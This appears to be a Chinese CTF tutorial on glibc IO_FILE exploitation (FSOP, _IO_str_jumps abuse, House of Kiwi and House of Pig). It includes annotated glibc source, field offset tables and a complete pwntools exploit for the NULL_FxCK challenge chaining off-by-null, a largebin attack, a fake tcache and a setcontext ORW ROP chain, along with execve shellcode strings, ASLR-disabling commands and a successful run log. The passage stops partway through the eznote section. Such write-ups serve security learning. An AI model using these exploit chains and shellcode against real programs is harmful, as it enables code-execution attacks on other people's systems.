IO基础

FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流,常被一系列流操作(fopen()fread()fclose()等)使用,其动态指针由fopen()函数创建,存储在堆上(stdinstdoutstderr这三个位于libc数据段)。在libc2.23版本中,这个结构体是_IO_FILE_plus,包含了一个_IO_FILE结构体和一个指向_IO_jump_t结构体的指针vtable,一些函数在调用的时候会取出vtable所指向的函数,vtable也称为虚表。

FILE结构体如下:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_jump_t结构体如下:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

// 简化一下(来自Wiki)
void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

这边引用了e4l4师傅的字段长度表,方便查询和构造:

_IO_FILE_plus_size = {
    'i386':0x98,
    'amd64':0xe0
}

_IO_FILE_plus = {
    'i386':{
        0x0:'_flags',
        0x4:'_IO_read_ptr',
        0x8:'_IO_read_end',
        0xc:'_IO_read_base',
        0x10:'_IO_write_base',
        0x14:'_IO_write_ptr',
        0x18:'_IO_write_end',
        0x1c:'_IO_buf_base',
        0x20:'_IO_buf_end',
        0x24:'_IO_save_base',
        0x28:'_IO_backup_base',
        0x2c:'_IO_save_end',
        0x30:'_markers',
        0x34:'_chain',
        0x38:'_fileno',
        0x3c:'_flags2',
        0x40:'_old_offset',
        0x44:'_cur_column',
        0x46:'_vtable_offset',
        0x47:'_shortbuf',
        0x48:'_lock',
        0x4c:'_offset',
        0x54:'_codecvt',
        0x58:'_wide_data',
        0x5c:'_freeres_list',
        0x60:'_freeres_buf',
        0x64:'__pad5',
        0x68:'_mode',
        0x6c:'_unused2',
        0x94:'vtable'
    },

    'amd64':{
        0x0:'_flags',
        0x8:'_IO_read_ptr',
        0x10:'_IO_read_end',
        0x18:'_IO_read_base',
        0x20:'_IO_write_base',
        0x28:'_IO_write_ptr',
        0x30:'_IO_write_end',
        0x38:'_IO_buf_base',
        0x40:'_IO_buf_end',
        0x48:'_IO_save_base',
        0x50:'_IO_backup_base',
        0x58:'_IO_save_end',
        0x60:'_markers',
        0x68:'_chain',
        0x70:'_fileno',
        0x74:'_flags2',
        0x78:'_old_offset',
        0x80:'_cur_column',
        0x82:'_vtable_offset',
        0x83:'_shortbuf',
        0x88:'_lock',
        0x90:'_offset',
        0x98:'_codecvt',
        0xa0:'_wide_data',
        0xa8:'_freeres_list',
        0xb0:'_freeres_buf',
        0xb8:'__pad5',
        0xc0:'_mode',
        0xc4:'_unused2',
        0xd8:'vtable'
    }
}

FSOP

FSOP是一种劫持_IO_list_alllibc.so中的全局变量)来伪造链表的利用技术,通过调用_IO_flush_all_lockp()函数触发,这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush来清空缓冲区,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow函数。该方法在libc-2.28之后失效。

_IO_flush_all_lockp()函数在以下几种情况会被调用:

  • libc检测到内存错误从而执行abort流程,函数调用流程如下:

    malloc_printerr->__libc_message->__GI_abort_->_IO_flush_all_lockp->_IO_OVERFLOW

  • 执行exit函数

  • main函数返回时

2.23版本

下面是_IO_flush_all_lockp函数的源码:

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;		//覆盖为伪造的链表
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)		//需要绕过这些检查
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)			//fp指向伪造的vtable,触发虚函数
    result = EOF;

      if (do_lock)
    _IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
    {
      /* Something was added to the list.  Start all over again.  */
      fp = (_IO_FILE *) _IO_list_all;
      last_stamp = _IO_list_all_stamp;
    }
      else
    fp = fp->_chain;		//指向下一个对象
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

这里注意我们触发的条件:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
 && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;
  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

2.24版本之后

libc-2.24加入了对vtable指针的检查,所有的vtables都被放进了__libc_IO_vtables段,使得它们在内存中连续,在任何跳转之前,vtable指针都会调用IO_validate_vtable()函数进行边缘检查,如果指针不在这个段,那么将会调用IO_vtable_check()函数进行进一步的检查。

利用_IO_str_jumps

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),		// 利用_IO_str_finish
  JUMP_INIT(overflow, _IO_str_overflow),		// 利用_IO_str_overflow
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
  1. 利用_IO_str_overflow

    int
    _IO_str_overflow (_IO_FILE *fp, int c)
    {
      int flush_only = c == EOF;
      _IO_size_t pos;
      if (fp->_flags & _IO_NO_WRITES)
          return flush_only ? 0 : EOF;
      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
        {
          fp->_flags |= _IO_CURRENTLY_PUTTING;
          fp->_IO_write_ptr = fp->_IO_read_ptr;
          fp->_IO_read_ptr = fp->_IO_read_end;
        }
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))		//检查
     // _IO_size_t的宏定义 #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
        {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */	//检查
        return EOF;
          else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          _IO_size_t new_size = 2 * old_blen + 100;		// "/bin/sh"的地址
          if (new_size < old_blen)
            return EOF;
              // system("/bin/sh")
          new_buf
            = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
          if (new_buf == NULL)
            {
              /*	  __ferror(fp) = 1; */
              return EOF;
            }
          if (old_buf)
            {
              memcpy (new_buf, old_buf, old_blen);
              (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
              fp->_IO_buf_base = NULL;
            }
          memset (new_buf + old_blen, '\0', new_size - old_blen);
    
          _IO_setb (fp, new_buf, new_buf + new_size, 1);
          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
    
          fp->_IO_write_base = new_buf;
          fp->_IO_write_end = fp->_IO_buf_end;
        }
        }
    
      if (!flush_only)
        *fp->_IO_write_ptr++ = (unsigned char) c;
      if (fp->_IO_write_ptr > fp->_IO_read_end)
        fp->_IO_read_end = fp->_IO_write_ptr;
      return c;
    }

    构造数据如下:

    • fp->_flags = 0

    • fp->_IO_write_ptr = 0xffffffffffffffff

    • fp->_IO_write_base = 0

    • fp->_IO_buf_end = (str_bin_sh - 100) / 2

      注意:这里的str_bin_sh最好是偶数,避免除法向下取整,如果为奇数,可以选择加1。

    • fp->_IO_buf_base = 0

    • fp->mode = 0

    • fp + 0xe0 = system_addr

  2. 利用_IO_str_finish

    void
    _IO_str_finish (_IO_FILE *fp, int dummy)
    {
      if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))		//检查
        (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);		//system("/bin/sh")
      fp->_IO_buf_base = NULL;
    
      _IO_default_finish (fp, 0);
    }

    构造数据如下:

    • fp->mode = 0
    • fp->_IO_write_ptr = 0xffffffffffffffff
    • fp->_IO_write_base = 0
    • fp->_flag = 0
    • fp->_IO_buf_base = str_bin_sh
    • fp + 0xe0 = system_addr

利用_IO_wstr_jumps

const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),		//利用_IO_wstr_finish函数
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),	//利用_IO_wstr_overflow函数
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

House_Of_Kiwi

利用原理

适用于当程序将各种hook函数禁用并且将exit函数更换为_exit函数,开启了sandbox只能orw的时候,通过__malloc_assert函数触发_IO_file_jumps中的_IO_file_sync指针,加上setcontext的技术可实现rop。当topchunk的大小不足以分配chunk的时候,会进入sysmalloc让我们有机会触发以下断言:

assert ((old_top == initial_top (av) && old_size == 0) ||
       ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&	// 将topchunk的prev_inuse改为0就可以触发断言进而触发__malloc_assert
       ((unsigned long) old_end & (pagesize - 1)) == 0));


static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
       const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
           __progname, __progname[0] ? ": " : "",
           file, line,
           function ? function : "", function ? ": " : "",
           assertion);
fflush (stderr);	// 利用了stderr这个结构体,也恰好是_IO_list_all中存储的结构体
abort ();
}

主要的触发链:assert -> __malloc_assert -> fflush -> __IO_file_sync

setcontext + 61处的内容在2.29之后就由rdi转变为rdx控制,那如何控制setcontext中的rdx寄存器呢?2.32版本的setcontext如下:

<setcontext+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>:    mov    rbx,QWORD PTR [rdx+0x80]
<setcontext+75>:    mov    rbp,QWORD PTR [rdx+0x78]
<setcontext+79>:    mov    r12,QWORD PTR [rdx+0x48]
<setcontext+83>:    mov    r13,QWORD PTR [rdx+0x50]
<setcontext+87>:    mov    r14,QWORD PTR [rdx+0x58]
<setcontext+91>:    mov    r15,QWORD PTR [rdx+0x60]
<setcontext+95>:    test   DWORD PTR fs:0x48,0x2
<setcontext+107>:    je     0x7ffff7e31156 <setcontext+294>
->
<setcontext+294>:    mov    rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>:    push   rcx
<setcontext+302>:    mov    rsi,QWORD PTR [rdx+0x70]
<setcontext+306>:    mov    rdi,QWORD PTR [rdx+0x68]
<setcontext+310>:    mov    rcx,QWORD PTR [rdx+0x98]
<setcontext+317>:    mov    r8,QWORD PTR [rdx+0x28]
<setcontext+321>:    mov    r9,QWORD PTR [rdx+0x30]
<setcontext+325>:    mov    rdx,QWORD PTR [rdx+0x88]
<setcontext+332>:    xor    eax,eax
<setcontext+334>:    ret

我们可以断在call <setcontext+61>的地方看看rdx到底是什么牛马,可以断在fflush函数中去查看:

0x7ffff7e5bd53 <fflush+131>    call   qword ptr [rbp + 0x60]        <setcontext+61>
       rdi: 0x7ffff7fc15e0 (_IO_2_1_stderr_) ◂— 0xfbad2887
       rsi: 0x7fffffffba70 ◂— 0x616d203a6e69616d ('main: ma')
       rdx: 0x7ffff7fc18c0 (_IO_helper_jumps) ◂— 0x0
       rcx: 0xc00

  0x7ffff7e5bd56 <fflush+134>    xor    r8d, r8d
  0x7ffff7e5bd59 <fflush+137>    test   eax, eax
  0x7ffff7e5bd5b <fflush+139>    setne  r8b
  0x7ffff7e5bd5f <fflush+143>    neg    r8d
  0x7ffff7e5bd62 <fflush+146>    test   dword ptr [rbx], 0x8000
  0x7ffff7e5bd68 <fflush+152>    jne    fflush+195                <fflush+195>

  0x7ffff7e5bd6a <fflush+154>    mov    rdi, qword ptr [rbx + 0x88]
  0x7ffff7e5bd71 <fflush+161>    mov    eax, dword ptr [rdi + 4]
  0x7ffff7e5bd74 <fflush+164>    sub    eax, 1
  0x7ffff7e5bd77 <fflush+167>    mov    dword ptr [rdi + 4], eax

发现rdx的值就是_IO_helper_jumps指针,所以在_IO_helper_jumps + 0xa0_IO_helper_jumps + 0xa8上写上我们rop链所在的地址和ret片段的地址就能实现rop。

NULL_FxCK

存在沙盒(orw)以及2.29版本之后的off-by-null漏洞,但是只能在edit的时候off-by-null一次,所以之后的数据构造都只能依赖于堆叠。由于2.29版本之后的off-by-null需要chunk的低位两个字节都为0x00,所以我们需要爆破,可以关闭地址随机化进行调试。

echo 0 > /proc/sys/kernel/randomize_va_space	# 关闭
echo 2 > /proc/sys/kernel/randomize_va_space	# 开启

主要思路:

  • 利用off-by-null漏洞制造堆叠。

    参考我的另一篇文章:Off-By-Null总结 - Pursue

  • 利用largebin_attack劫持libc上存储的tcache_struct指针。

  • 伪造tcache_struct,实现任意地址写任意数据。

  • house_of_kiwi,IO利用

WP如下:

可能和网上的答案不太一样,毕竟是自己独立构造的(真的很恶心🤢🤢🤢)

注意:构造orw的时候/flag字符串不要放在开头,调试下来发现在open的时候会将orw的开头给覆盖成rdx的值。

#encoding = utf-8
from pwn import *
from LibcSearcher import *

context(os = 'linux', arch = 'amd64')

local = 2
if local == 1 :
    sh = process([b"./ld-2.32.so", b"./main"], env = {"LD_PRELOAD" : b"./libc-2.32.so"})
elif local == 2 :
    sh = process("./main")
else :
    sh = remote(ip, port)

elf = ELF('./main')
libc = elf.libc

def dbg():
    gdb.attach(sh)
    pause()

s       = lambda data               :sh.send(data)
sa      = lambda text, data         :sh.sendafter(text, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda text, data         :sh.sendlineafter(text, data)
r       = lambda num                :sh.recv(num)
ru      = lambda text               :sh.recvuntil(text)
uu32    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes

#------------------------------------------------------------------------------------------------------#

def add(size, data):
    sla('>> ', b'1')
    sla('(: Size: ', str(size))
    sa('(: Content: ', data)

def edit(idx, data):
    sla('>> ', b'2')
    sla('Index: ', str(idx))
    sa('Content: ', data)

def delete(idx):
    sla('>> ', b'3')
    sla('Index: ', str(idx))

def show(idx):
    sla('>> ', b'4')
    sla('Index: ', str(idx))

def pwn():
    # padding
    add(0x2000, b'pursue')  # 0
    pad = 0x1000 - 0x2d0
    add(pad, b'pursue')     # 1

    # prepare
    add(0x508, b'prev')     # 2
    add(0x428, b'barrier')  # 3
    add(0x4f8, b'barrier')  # 4
    add(0x4f8, b'victim')   # 5
    add(0x108, b'barrier')  # 6
    add(0x4f8, b'chunk_a')  # 7
    add(0x108, b'barrier')  # 8
    add(0x518, b'chunk_b')  # 9
    add(0x108, b'barrier')  # 10
    
    # create largebin chunk
    delete(2)
    delete(7)
    delete(9)
    add(0x1000, b'pursue')  # 2
    
    # create fake_chuk
    fake_size = 0x500 + 0x430 + 0x500
    fake_head = p64(0) + p64(fake_size + 1)
    add(0x508, fake_head)   # 7

    # modify b->fd == p
    fd = p8(0x10) + p8(0)
    add(0x518, fd)          # 9

    # modify a->bk == p
    add(0x4f8, b'a2')       # 11
    delete(11)
    delete(5)
    bk = p64(0) + p8(0x10) + p8(0)
    add(0x4f8, bk)          # 5

    # set next_chunk->pre_size = chunk->size
    add(0x4f8, b'victim2')  # 11
    pld = b'a' * 0x4f0 + p64(fake_size)
    edit(4, pld)    # off-by-null
  
    # success
    delete(11)  # the new merged chunk is overlapped with the prev chunk

    # leak libc
    add(0x4f8 + 0x430, b'pursue')   # 11
    add(0x1000, b'pursue')  # 12
    show(4)
    libc_base = uu64() - 0x1e4170
    success('\033[32mlibc_base->0x%x\033[0m' % libc_base)
    delete(11)

    # leak heap         
    add(0x4f8 + 0x420, b'pursue')   # 11
    add(0x1000, b'pursue')  # 13
    show(4)
    heap_base = u64(r(6).ljust(8, b'\x00')) - 0x3930
    success('\033[32mheap_base->0x%x\033[0m' % heap_base)
    delete(11)

    tls_tcache = libc_base + 0x1eb578
    success('\033[32mtls_tcache->0x%x\033[0m' % tls_tcache)
    io_file_jumps = libc_base + 0x1e54c0
    io_file_sync = io_file_jumps + 0x60
    io_helper_jumps = libc_base + 0x1e48c0      # 0x1e4980
    setcontext = libc_base + libc.sym['setcontext']
    success('\033[32msetcontext->0x%x\033[0m' % setcontext)
    success('\033[32mio_file_sync->0x%x\033[0m' % io_file_sync)
    success('\033[32mio_helper_jumps->0x%x\033[0m' % io_helper_jumps)

    p_rdi_r = libc_base + 0x000000000002858f
    p_rsi_r = libc_base + 0x000000000002ac3f
    p_rdx_r12_r = libc_base + 0x0000000000114161
    success('\033[32mp_rdi_r->0x%x\033[0m' % p_rdi_r)
    op = libc_base + libc.sym['open']
    rd = libc_base + libc.sym['read']
    pt = libc_base + libc.sym['puts']
    success('\033[32mop->0x%x\033[0m' % op)

    # frame = SigreturnFrame()
    # frame.rsp = heap_base + 0x4a60 + 0x20   # orw_addr
    # frame.rip = p_rdi_r + 1                 # ret

    orw = p64(0) * 2
    orw += p64(p_rdi_r) + p64(heap_base + 0x4a60 + 0xa0)
    orw += p64(p_rsi_r) + p64(0)
    orw += p64(op)
    orw += p64(p_rdi_r) + p64(3)
    orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
    orw += p64(p_rsi_r) + p64(heap_base + 0x4a60 + 0x120)
    orw += p64(rd)
    orw += p64(p_rdi_r) + p64(heap_base + 0x4a60 + 0x120)
    orw += p64(pt)
    orw += b'/flag\x00'

    # largebin attack to tls_tcache
    add(0x4c8, b'pursue')   # 11
    add(0x438, b'pursue')   # 14b 
    pld = p64(0) * 2 + p64(0x430) + p64(501)
    add(0x438, pld)   # 15
    add(0x418, b'pursue')   # 16
    add(0x1a8, b'pursue')   # 17
    delete(3)
    add(0x1000, b'pursue')  # 3
    delete(14)
    pld = p64(0) * 4 + p64(0x510) + p64(0x431)
    pld += p64(libc_base + 0x1e3ff0) * 2 + p64(heap_base + 0x3510) + p64(tls_tcache - 0x20)
    add(0x438, pld)         # 14
    delete(16)
    add(0x1000, b'pursue')  # 16

    # fake tcache_struct
    add(0x418, b'pursue')
    delete(14)
    top_chunk = heap_base + 0xa0e0
    success('\033[32mtop_chunk->0x%x\033[0m' % top_chunk)
    pld = p64(0) * 4 + b'\x01' * 0x80 
    pld += p64(io_file_sync) * 20 
    pld += p64(io_helper_jumps + 0xa0) * 10
    pld += p64(top_chunk) * 10 
    add(0x438, pld)

    # pwn
    delete(9)
    add(0x518, orw)                     # orw
    add(0x108, p64(setcontext + 61))    # io_file_syn -> setcontext + 61
    add(0x188, p64(heap_base + 0x4a60 + 0x20) + p64(p_rdi_r + 1))     # io_helper_jumps + 0xa8 & 0xa0 -> rop_init
    add(0x228, p64(0) + p64(0x520))     # top_chunk.size -> 0x520

    sla('>> ', b'1')
    sla('(: Size: ', str(0x1000))


if __name__ == '__main__':
    while 1:
        try :
            sh = process("./main")
            pwn()
            break
        except :
            sh.close()
    sh.interactive()

攻击成功时也是会返给我们断言的信息的,这也可以帮助我们检查是不是触发了断言,如下所示:

# 开始爆破
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1089)
[+] Starting local process './main': pid 1091
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1091)
[+] Starting local process './main': pid 1093
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1093)
[+] Starting local process './main': pid 1095
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1095)
[+] Starting local process './main': pid 1097
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1097)
[+] Starting local process './main': pid 1099
[*] Process './main' stopped with exit code -6 (SIGABRT) (pid 1099)
[+] Starting local process './main': pid 1101
exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  uu64    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
[+] libc_base->0x7f81b31a4000
[+] heap_base->0x55958ac4d000
[+] tls_tcache->0x7f81b338f578
[+] setcontext->0x7f81b31f7030
[+] io_file_sync->0x7f81b3389520
[+] io_helper_jumps->0x7f81b33888c0
[+] p_rdi_r->0x7f81b31cc58f
[+] op->0x7f81b32ac9b0
[+] top_chunk->0x55958ac570e0
[*] Switching to interactive mode
# 返还给我们断言信息
main: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
# 成功
flag{!!success!!}		

House_Of_Pig

利用原理

主要适用于程存在calloc,无法从tcache中拿取chunk,核心是利用_IO_str_jumps中的_IO_str_overflow函数执行一系列的malloc、memcpy和free操作,主要的攻击思路会在例题中给出,先看一下源码:

#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_USER_BUF 1
int _IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
          // #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
// 核心部分,在构造的同时注意绕过检查
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;

new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf);

eznote(DSCTF2022)

程序存在一个数组的越界,导致在分配最后一个chunk的时候会将第一个chunk的size改写产生了堆叠,并且程序是通过calloc来分配堆块,不会直接从tcache中拿取chunk,并且存在沙盒只能orw。

主要的攻击思路:

  1. 通过数组越界布置堆风水,泄露libc和heap的地址
  2. largebin_attack劫持_IO_list_all,为构造IO_FILE做准备
